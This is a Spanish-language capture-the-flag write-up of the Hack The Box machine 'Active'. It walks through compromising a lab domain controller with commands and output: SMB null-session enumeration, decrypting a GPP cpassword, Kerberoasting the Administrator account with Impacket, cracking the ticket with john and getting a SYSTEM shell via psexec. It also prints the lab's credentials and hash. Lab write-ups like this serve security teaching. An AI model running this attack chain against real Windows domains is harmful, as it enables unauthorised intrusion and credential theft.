Enumeración
La fase de reconocimiento comenzó con un escaneo completo de puertos, revelando un Controlador de Dominio de Windows Server 2008 R2. Los servicios críticos identificados fueron:
- 53/tcp: DNS
- 88/tcp: Kerberos
- 135/tcp: Microsoft RPC
- 139/tcp: NetBIOS
- 389/tcp: LDAP
- 445/tcp: SMB
Al explorar los recursos compartidos de SMB mediante una null session, descubrimos acceso de lectura al recurso Replication. Dentro de este, navegamos por la estructura de las políticas de grupo hasta encontrar el archivo Groups.xml. Este archivo contenía el nombre de usuario SVC_TGS y una contraseña en cpassword, el cual es un hash AES cuya clave de descifrado fue filtrada por Microsoft hace años, permitiéndonos obtener la contraseña en texto claro.
# Añadir active.htb a los host conocidos
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ echo "10.129.24.182 active.htb" | sudo tee -a /etc/hosts
# Comprobar la conexión y el ttl=127 que nos indica que es una máquina Windows
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ ping -c 1 active.htb
PING active.htb (10.129.24.182) 56(84) bytes of data.
64 bytes from active.htb (10.129.24.182): icmp_seq=1 ttl=127 time=103 ms
# [-p-] Escaneo de todos los puertos (65535)
# [--open] Mostrar solo puertos con estado abierto
# [-sS] Stealth SYN Scan para evitar completar la conexión TCP
# [-Pn] No realizar descubrimiento de host mediante ping
# [-n] Desactivar resolución DNS para acelerar el escaneo
# [--min-rate=5000] Enviar paquetes a una tasa mínima de 5000 por segundo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ sudo nmap -p- --open -sS -Pn -n --min-rate=5000 10.129.24.182 -oG allPorts
# Utilidad para copiar todos los puertos del archivo allPorts
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ extractPorts allPorts
[*] IP Address: 10.129.24.182
[*] Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168
[!] Ports copied to clipboard
# [-sCV] Combinación de -sC (scripts por defecto) y -sV (detección de versiones)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ sudo nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 --min-rate=5000 10.129.24.182 -oN targeted
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-07 10:30:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
...
...
...
49165/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-01-07T10:31:33
|_ start_date: 2026-01-07T09:21:17
|_clock-skew: 6s
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
# Comprobación de servicios SMB y nombre de dominio mediante crackmapexec
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ crackmapexec smb 10.129.24.182
SMB 10.129.24.182 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
# [-L] Listar los recursos compartidos (shares) disponibles en el host
# [-N] Especificar una sesión nula (sin usuario ni contraseña)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ smbclient -L active.htb -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
# [-H] Especificar el Host objetivo
# [-r] Listar de forma recursiva el contenido del recurso compartido
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ smbmap -H active.htb -r Replication/active.htb/policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups
[+] IP: 10.129.24.182:445 Name: active.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
./Replicationactive.htb/policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups
dr--r--r-- 0 Sat Jul 21 06:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 06:37:44 2018 ..
fr--r--r-- 533 Sat Jul 21 06:38:11 2018 Groups.xml
SYSVOL NO ACCESS Logon server share
Users NO ACCESS
# [--download] Descargar un archivo específico del servidor SMB a la máquina local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ smbmap -H active.htb --download Replication/active.htb/policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
[+] Starting download: Replication\active.htb\policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml (533 bytes)
[+] File output to: /home/jquirozz/HTB/active/10.129.24.182-Replication_active.htb_policies_{31B2F340-016D-11D2-945F-00C04FB984F9}_MACHINE_Preferences_Groups_Groups.xml
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ cat 10.129.24.182-Replication_active.htb_policies_\{31B2F340-016D-11D2-945F-00C04FB984F9\}_MACHINE_Preferences_Groups_Groups.xml
# <?xml version="1.0" encoding="utf-8"?>
# <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
# name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName=""
# fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
# changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>3 </Groups>
Explotación
Con las credenciales del usuario de servicio active.htb\SVC_TGS, validamos el acceso a otros recursos compartidos, logrando obtener la flag de usuario desde su escritorio. Para profundizar en el dominio, utilizamos rpcclient para listar los usuarios y grupos, confirmando que la cuenta de Administrator pertenecía al grupo Domain Admins.
# Herramienta nativa de Kali para descifrar contraseñas de Group Policy Preferences (GPP)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18
# [-u] Nombre de usuario autenticado
# [-p] Contraseña del usuario
# [-r] Listar recursos compartidos con credenciales válidas
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ smbmap -H active.htb -u "SVC_TGS" -p "GPPstillStandingStrong2k18" -r
[+] IP: 10.129.24.182:445 Name: active.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
...
...
...
Users READ ONLY
./Users
dw--w--w-- 0 Sat Jul 21 10:39:20 2018 .
dw--w--w-- 0 Sat Jul 21 10:39:20 2018 ..
dr--r--r-- 0 Mon Jul 16 06:14:21 2018 Administrator
fr--r--r-- 174 Mon Jul 16 17:01:17 2018 desktop.ini
dw--w--w-- 0 Mon Jul 16 17:08:47 2018 Public
dr--r--r-- 0 Sat Jul 21 11:16:32 2018 SVC_TGS
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ smbmap -H active.htb -u "SVC_TGS" -p "GPPstillStandingStrong2k18" --download Users/SVC_TGS/Desktop/user.txt
[+] Starting download: Users\SVC_TGS\Desktop\user.txt (34 bytes)
[+] File output to: /home/jquirozz/HTB/active/10.129.24.182-Users_SVC_TGS_Desktop_user.txt
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ cat 10.129.24.182-Users_SVC_TGS_Desktop_user.txt
d5****************************77
# [-U] Especificar usuario y contraseña separados por % para rpcclient
# [-c] Ejecutar un comando específico de rpcclient (enumdomusers = listar usuarios del dominio)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.129.24.182 -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[SVC_TGS] rid:[0x44f]
# [-c] Ejecutar un comando específico (querydispinfo = obtener información de los usuarios)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.129.24.182 -c "querydispinfo"
index: 0xdea RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xe19 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xeb2 RID: 0x44f acb: 0x00000210 Account: SVC_TGS Name: SVC_TGS Desc: (null)
# [-c] Ejecutar un comando específico (enumdomgroups = listar grupos del dominio)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.129.24.182 -c "enumdomgroups"
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
...
...
...
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[DnsUpdateProxy] rid:[0x44e]
# [-c] Ejecutar un comando específico (querygroupmem = listar miembros de un grupo por su RID)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.129.24.182 -c "querygroupmem 0x200"
rid:[0x1f4] attr:[0x7]
# [-c] Ejecutar un comando específico (queryuser = obtener información de un usuario por su RID)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.129.24.182 -c "queryuser 0x1f4"
User Name : Administrator
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 07 Jan 2026 04:22:39 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 31 Dec 1969 19:00:00 EST
Password last set Time : Wed, 18 Jul 2018 15:06:40 EDT
Password can change Time : Thu, 19 Jul 2018 15:06:40 EDT
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x0000006e
padding1[0..7]...
logon_hrs[0..21]...
Escalada de Privilegios
La escalada a Administrador de Dominio se realizó mediante la técnica de Kerberoasting. Dado que la cuenta Administrator tenía un Service Principal Name (SPN) asociado, pudimos solicitar un ticket de servicio (TGS) cifrado con el hash de su contraseña.
Extrajimos el ticket utilizando GetUserSPNs.py de Impacket y procedimos a realizar un ataque de fuerza bruta offline con john (John the Ripper). Tras obtener la contraseña del administrador, utilizamos psexec.py para obtener una shell con privilegios de SYSTEM, completando el compromiso total del dominio.
# [active.htb/SVC_TGS] Especificar el dominio y el usuario a consultar
# [-no-pass] Intentar obtener el TGT sin proporcionar contraseña (AS-REP Roasting)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ python3 GetNPUsers.py active.htb/SVC_TGS -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for SVC_TGS
# [active.htb/SVC_TGS:GPP...] Credenciales del usuario que solicita los tickets de servicio
# Este comando lista las cuentas del dominio que tienen SPN asociados y son vulnerables
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2026-01-07 04:22:39.194598
# [-request] Solicitar el ticket TGS al KDC para su posterior cracking offline
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$cf9eecdb7bae2a80647a1954de57145e$36e6da8441768ad6cbcc0c15b0a5964b7295fb952b8f431ea63083b279b53a2a368717adc487d357080a736d1cd99f5f26f68fb45f13c2b928e9663388912f84abdc7f26b6920d9d6bcbb97d12aac9f855262566a1a66dc4d9d6dc10bfe0b8773ac39f7c2d81326970845a158767b586aaae321e5003469a39f09b9855992fe711fab1112ec099603168b6bd266f317a66e17acb8c6a5bc397643edf1a4883bfe00c33724241bc4c109ba5d38cf609165bf0e0e25e8552de54d5759cfb49f3e72081305f35c31f9b998f51f7b13fca5358fd525261fc611c7e8f302f54e67924bac5e99a0b6ccfd01d4078f1166253c9549b3c3a71ee0bdefe866bf564c28a3999023081623cd59b03b453e49999db6d4caef7cbf555fb2d21efce9a21d280f0170ab1825a354a1ca543f4cf5cddb0b0e156c8c07f40869dbea8eb967f73f1d4871501ecf60a3a290a8ebc95cb58b14e878999105104ddf7a6ace4a098b0ce3b66905270f5acc892730171dd31f61b46ff1ac491ae6b01b0a697af10f0cdbae0e1d770617978ad1291442815e129fb1b1885805ab97b5f6797e03604b1c024f2cb76ed21719c24dc510244031f2daa8ebb1ed4ba2064feb2106f1275ed0ddd340c94af662906889cd39f9335878571cd92f2dd8948beb1dcd1a129c06b6c60ba96257e639c13a82a35ef627f34809eb65c7f3f753a64db00a814fd81fd1bd69e96b842cf62f2f99180c3fd9d30004b07c6129731ea443dcd4314a2512fb33e00da6aa72087e7b717125ff27729f328c1614baa5140f56667b9533470bf8c485674e44fed641eeba15a9c79e5862a89f4fff02616bfafe53137b0a59768c1a3682fba531e20b86f930afbefae881a6b136011cebcd933f30a891e51560fbdbe3b693900ae751060d863d1396f4d066c11844a4e6974f06ff6190a0fae743d61a023c393f0047642882cfff1c7cf0ba2f0b719c0a5185cb28a7eaf4268477b307304e8bafcf4610c7cbb9e8f7f70948395451fb53e9f63791482705a962dc98676601e469fe6e3f7f7fd0252703529bcaa210709cdbd7292a58feff0950cb6ea32e802e200b3853def8772edda3b91e37f57c2140ed761c7370f1ddf902dc9ac6e48e429b07ef66fb443a0cf5dc35627cdff54ff28e1170867f43a398454cac32f41f8448070f956fd336e98f4dc6457b9ed6f05fe9e336b37b297a3b9770300a9c6de1fb346de63d695de9285615f08ed90d9aadb2e282f245a4a
# Guardar el ticket en un archivo de texto usando '' para evitar escape de comillas
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ echo '$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$cf9eecdb7bae2a80647a1954de57145e$36e6da8441768ad6cbcc0c15b0a5964b7295fb952b8f431ea63083b279b53a2a368717adc487d357080a736d1cd99f5f26f68fb45f13c2b928e9663388912f84abdc7f26b6920d9d6bcbb97d12aac9f855262566a1a66dc4d9d6dc10bfe0b8773ac39f7c2d81326970845a158767b586aaae321e5003469a39f09b9855992fe711fab1112ec099603168b6bd266f317a66e17acb8c6a5bc397643edf1a4883bfe00c33724241bc4c109ba5d38cf609165bf0e0e25e8552de54d5759cfb49f3e72081305f35c31f9b998f51f7b13fca5358fd525261fc611c7e8f302f54e67924bac5e99a0b6ccfd01d4078f1166253c9549b3c3a71ee0bdefe866bf564c28a3999023081623cd59b03b453e49999db6d4caef7cbf555fb2d21efce9a21d280f0170ab1825a354a1ca543f4cf5cddb0b0e156c8c07f40869dbea8eb967f73f1d4871501ecf60a3a290a8ebc95cb58b14e878999105104ddf7a6ace4a098b0ce3b66905270f5acc892730171dd31f61b46ff1ac491ae6b01b0a697af10f0cdbae0e1d770617978ad1291442815e129fb1b1885805ab97b5f6797e03604b1c024f2cb76ed21719c24dc510244031f2daa8ebb1ed4ba2064feb2106f1275ed0ddd340c94af662906889cd39f9335878571cd92f2dd8948beb1dcd1a129c06b6c60ba96257e639c13a82a35ef627f34809eb65c7f3f753a64db00a814fd81fd1bd69e96b842cf62f2f99180c3fd9d30004b07c6129731ea443dcd4314a2512fb33e00da6aa72087e7b717125ff27729f328c1614baa5140f56667b9533470bf8c485674e44fed641eeba15a9c79e5862a89f4fff02616bfafe53137b0a59768c1a3682fba531e20b86f930afbefae881a6b136011cebcd933f30a891e51560fbdbe3b693900ae751060d863d1396f4d066c11844a4e6974f06ff6190a0fae743d61a023c393f0047642882cfff1c7cf0ba2f0b719c0a5185cb28a7eaf4268477b307304e8bafcf4610c7cbb9e8f7f70948395451fb53e9f63791482705a962dc98676601e469fe6e3f7f7fd0252703529bcaa210709cdbd7292a58feff0950cb6ea32e802e200b3853def8772edda3b91e37f57c2140ed761c7370f1ddf902dc9ac6e48e429b07ef66fb443a0cf5dc35627cdff54ff28e1170867f43a398454cac32f41f8448070f956fd336e98f4dc6457b9ed6f05fe9e336b37b297a3b9770300a9c6de1fb346de63d695de9285615f08ed90d9aadb2e282f245a4a' > hash.txt
# [--format=krb5tgs] Especificar el formato del hash para el ticket de Kerberos 5 TGS
# [-w] Indicar la ruta del diccionario de contraseñas
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ sudo john --format=krb5tgs hash.txt -w=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:04 DONE (2026-01-07 09:46) 0.2352g/s 2479Kp/s 2479Kc/s 2479KC/s Tiffani143..Thrall
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
# Validación final de las credenciales de Administrador con crackmapexec
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ crackmapexec smb 10.129.24.182 -u "Administrator" -p "Ticketmaster1968"
SMB 10.129.24.182 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.129.24.182 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
# Ejecución remota de comandos para obtener una shell interactiva
# Formato: dominio/usuario:contraseña@IP programa_a_ejecutar
┌──(jquirozz㉿jquirozz.com)-[~/HTB/active]
└─$ python3 psexec.py active.htb/Administrator:Ticketmaster1968@10.129.24.182 cmd.exe
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.129.24.182.....
[*] Found writable share ADMIN$
[*] Uploading file TDZGdrFk.exe
[*] Opening SVCManager on 10.129.24.182.....
[*] Creating service txmt on 10.129.24.182.....
[*] Starting service txmt.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b9****************************5e